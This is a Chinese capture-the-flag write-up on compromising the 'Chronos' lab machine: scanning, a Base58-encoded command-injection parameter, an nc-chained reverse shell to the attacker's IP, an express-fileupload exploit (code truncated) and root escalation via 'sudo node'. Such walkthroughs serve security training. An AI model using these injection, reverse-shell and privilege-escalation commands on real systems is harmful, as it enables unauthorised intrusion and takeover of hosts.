CHRONOS
0x01 主机发现
1 | #建议在实际子网掩码减8 |

0x02 端口扫描
1 | sudo nmap -p- 10.0.2.6 |

0x03 服务识别
1 | sudo nmap -p22,80,8000 -sV 10.0.2.6 |

0x04 Web页面探查

针对Web页面通常有两种思路:
1、爆破路径
此处爆破无果,不是403就是301,也许是自带的字典不够强大吧。
2、查看源码
右键查看网页源码,发现 js 脚本有点猫腻。

此处80和8000端口的源码是一样的,猜想是 js 搞的鬼,这里js代码被混淆了用在线网站格式化查看
推荐使用 cyberchef,效果如下

可以看到 js 中有个地址
1 | http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL |
0x05 编码&命令注入
抓个包看看:

可以看到,页面发出了两个请求,其中一个域名解析失败,而目标机的8000端口是开放的,猜测此处的域名解析IP应该为目标机本机,那么就试试配置本地的hosts,让整个域名指向目标机。

重新访问页面,请求加载成功

单独抓取新访问请求查看参数和请求

发现format参数疑似编码
1 | format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL |
cyberchef 自动识别试试

可以看到识别出编码为 Base58 ,解码内容为
1 | '+Today is %A, %B %d, %Y %H:%M:%S.' |
疑似 linux bash 命令 ,猜测后端应该执行编码指令
尝试编码堆叠注入

存在注入漏洞

0x06 反弹shell & 信息收集
既然有命令注入直接尝试 nc 反弹,经尝试,靶机上的 nc 没有 -e 参数,用 nc 串联的方式反弹shell
1 | &&nc 10.0.2.4 4444 | /bin/bash | 10.0.2.4 5555 |

进行基础的信息收集,当前为普通用户,服务端用node.js搭建

查看 /etc/passwd 得到 imera 账号有 bash 权限

home 目录下的 imera 目录有 user.txt文件,但只有其自身有权限

0x07 提权 & 提权
现在的思路是提权,提权思路一般有
- 内核提权,uname -a
- suid 权限配置不当,通过执行高权限用户文件得到高权限。
- sudo 提权
暂时没找到可以利用的,默认命令执行的目录为 /opt/chronos,看到同级目录下还有个 chronos-v2 目录
又是一个 node.js 服务端,那就找找 node.js 框架漏洞吧
网上找到了node.js的代码注入漏洞,原理是参数污染,利用条件为开启了express-fileupload,并且 parseNested 选项为 true

发现刚好满足条件
根据靶机条件修改EXP端口和IP信息
1 | import requests |
开启 http 服务,把文件上传到靶机,执行反弹 shell

看到反弹了 imera 权限,读取 /home/imera 的user.txt,这就是个 flag,base64加密,没啥内容。

尝试能否提权到 root
查看拥有 sudo 权限的程序
1 | sudo -l |

可以看到执行 sudo node 无需密码,那提权思路是用 node 创建一个子进程
1 | sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})' |

有 root 权限后在对应目录下找到了另外的flag。